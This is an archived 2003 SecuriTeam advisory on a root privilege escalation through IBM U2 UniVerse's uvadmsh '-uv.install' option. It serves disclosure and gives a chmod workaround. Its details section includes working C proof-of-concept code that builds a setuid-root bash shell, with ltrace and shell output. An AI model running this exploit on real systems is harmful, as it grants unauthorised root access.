

[UNIX] IBM U2 UniVerse Users with UVADM Rights can Elevate Privileges via UVADMSH

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0078.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/20/03

To: list@securiteam.com

Date: 20 Jul 2003 20:10:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

IBM U2 UniVerse Users with UVADM Rights can Elevate Privileges via UVADMSH

SUMMARY

UniVerse is an extended relational database designed for embedding in vertical applications. Its nested relational data model results in intuitive data modeling and fewer resulting tables. UniVerse provides data access, storage and management capabilities across Microsoft Windows NT, Linux, and UNIPatform.

Due to a vulnerability in the product, local attackers with UVADM privileges can gain elevated root privileges by specifying a file to be executed by the product's installation mechanism (which insecurely executes the file it was requested to execute, i.e. without dropping privileges).

DETAILS

Vulnerable systems:

* IBM U2 UniVerse version 10.0.0.9

Securiteam: [UNIX] IBM U2 UniVerse Users with UVADM Rights can Elevate Privileges via UVADMSSH

The creation and use of the UNIX user 'uvadm' is optional for UniVerse. It is not required for the successful installation, configuration, and administration of UniVerse. The intended use of uvadm is to allow a selected, specific non-root user to perform all aspects of UniVerse administration.

The uvadmsh program checks the users name against the string "uvadm" which means in order to exploit this issue you need to have access to the user uvadm.

```
[kf@vegeta kf]$ ltrace /tmp/uvadmsh -uv.install /tmp
```

```
..  
strcmp("kf", "uvadm") = -1
```

```
[uvadm@vegeta uvadm]$ id  
uid=503(uvadm) gid=503(uvadm) groups=503(uvadm)
```

You will note that with the proper uid the binary begins looking for the command line option "-uv.install" which is the path to a binary file to execute.

```
[uvadm@vegeta uvadm]$ ltrace /tmp/uvadmsh -uv.install /tmp
```

```
..  
strcmp("uvadm", "uvadm") = 0  
strcmp("-uv.install", "-uv.install") = 0
```

This condition is fairly easy to take advantage of as you can see here.

```
[uvadm@vegeta uvadm]$ cat > /tmp/uv.install.c  
main()  
{  
  setuid(0);  
  system("cc -o /tmp/owned /tmp/owned.c");  
  system("chmod 4755 /tmp/owned");  
}
```

```
[uvadm@vegeta uvadm]$ cc -o /tmp/uv.install /tmp/uv.install.c  
[uvadm@vegeta uvadm]$ cat > /tmp/owned.c  
main()  
{  
  setuid(0);  
  system("/bin/bash");  
}
```

```
[uvadm@vegeta uvadm]$ ls -al /tmp/owned  
ls: /tmp/owned: No such file or directory
```

```
[uvadm@vegeta uvadm]$ /usr/ibm/uv/bin/uvadmsh -uv.install /tmp  
[uvadm@vegeta uvadm]$ ls -al /tmp/owned  
-rwsr-xr-x 1 root uvadm 11640 Jul 2 20:15 /tmp/owned
```

Securiteam: [UNIX] IBM U2 UniVerse Users with UVADM Rights can Elevate Privileges via UVADMSSH

```
[uvadm@vegeta uvadm]$ /tmp/owned
[root@vegeta uvadm]# id
uid=0(root) gid=503(uvadm) groups=503(uvadm)
```

Workaround:

Executing the following command:

```
# chmod -s /usr/ibm/uv/bin/uvadmsh
```

Will prevent the file from being used to gain elevated privileges.

Note: If you decide to 'chmod -s uvadmsh', you will need to be a root user to perform all of the uvadmsh functions.

Vendor Status:

The IBM U2 staff will be resolve this issue in future releases of IBM U2.

Patches may also be supplied on a per client basis at IBM's discretion.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:dotslash@sno soft.com>> KF.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.